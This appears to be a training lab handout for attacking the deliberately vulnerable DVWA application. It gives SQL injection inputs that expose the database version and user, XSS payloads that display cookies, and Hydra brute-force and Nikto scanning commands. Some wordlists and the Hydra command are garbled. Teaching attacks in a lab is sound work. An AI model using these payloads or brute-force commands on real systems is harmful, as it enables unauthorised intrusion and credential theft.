Web Application Security Labs

Open http://dvwa.kenet.or.ke

SQL Injection
Click on SQL Injection

Try out the following inputs
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%' or '0'='0"

%' or 0=0 union select null, version() # -- Display MySQL Version
%' or 0=0 union select null, user() # -- Display Database User

http://www.computersecuritystudent.com/SECURITY TOOLS/DVWA/DVWAv107/lesson6/

Cross Site Scripting

1. Reflected

Click on XSS Reflected

In the text box enter the following:
<script>alert(document.cookie)</script>

2. Stored

Click on XSS Stored

In the text box input the following for each test:
<script>alert('Hacking in Progress...')</script>
Pause for Database RESET before proceeding

<iframe src="http://www.cnn.com”></iframe>
Pause for Database RESET before proceeding
<script>alert(document.cookie)</script>
Dictionary Attack on FTP

We are going to use Hydra

Download Hydra

wget http://www.thc.org/releases/hydra-7.6.tar.gz
sudo apt-get install gcc



http://dvwa.kenet.or.ke/
http://www.thc.org/releases/hydra-7.6.tar.gz
http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson6/

tar xzfv hydra-7.6.tar.gz
cd hydra-7.6

./configure

make

sudo make install

Let’s create two short dictionaries for the simplicity of description.
List of users (list_user):

ladmin 1
2admin
3msfadmin

List of passwords (list_password)

1password 1
2password
3msfadmin
4password 2

There are 12 combinations to check (3 users times 4 passwords). These combinations include default
credentials for DVWA login form and Metasploitable FTP (admin/password for DVWA login form;
msfadmin/msfadmin for Metasploitable FTP)

DVWA—Dictionary Attack on Login Form
Use the following command to launch the attack:

dawid@lab:~$ hydra -L list user -P list password dvwa.kenet.or.ke
http-post-form
"/dvwa/login.php:username="USER"&password="PASS~&Login=Login:Login
failed" -V

Website Scan for Vulnerabilities
nikto -host http://dvwa.kenet.or.ke

Hacking a WordPress Site
http://resources.infosecinstitute.com/hacking-a-wordpress-site/
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